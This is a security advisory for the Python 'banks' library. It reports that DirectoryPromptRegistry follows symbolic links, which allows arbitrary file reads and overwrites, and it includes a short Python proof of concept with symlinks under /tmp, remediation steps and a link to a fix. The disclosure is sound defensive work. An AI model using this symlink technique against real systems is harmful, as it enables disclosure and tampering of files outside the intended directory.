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GHSA-556j-vv39-8rqv
Summary
In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().
Details
Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:
self._index_path(index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by_save()uponreg.set(), or read via_load().- In
_scan(), discovered.jinjafiles are opened and indexed without checking ifpath.is_symlink()or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. - In
set(),prompt_file.write_text(...)is called without checking ifprompt_fileis an existing symbolic link pointing outside the root.
Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Proof of Concept
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
Remediation
- In
_validate_index_path(): verify_index_pathis not a symlink and resolves within_path. - In
_scan(): rejectpath.is_symlink()and checkpath.resolve().is_relative_to(root). - In
set(): reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
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Measures severity based on intrinsic characteristics of the vulnerability, independent of environment.
No exploitation activity has been observed at this time. Continue routine monitoring.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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